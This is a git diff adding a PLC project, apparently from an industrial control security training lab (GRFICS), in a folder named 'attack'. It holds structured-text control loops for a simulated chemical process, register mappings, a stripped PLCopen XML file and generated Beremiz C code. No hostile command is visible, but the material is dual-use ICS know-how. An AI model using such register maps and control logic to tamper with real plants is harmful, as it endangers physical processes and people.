pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + 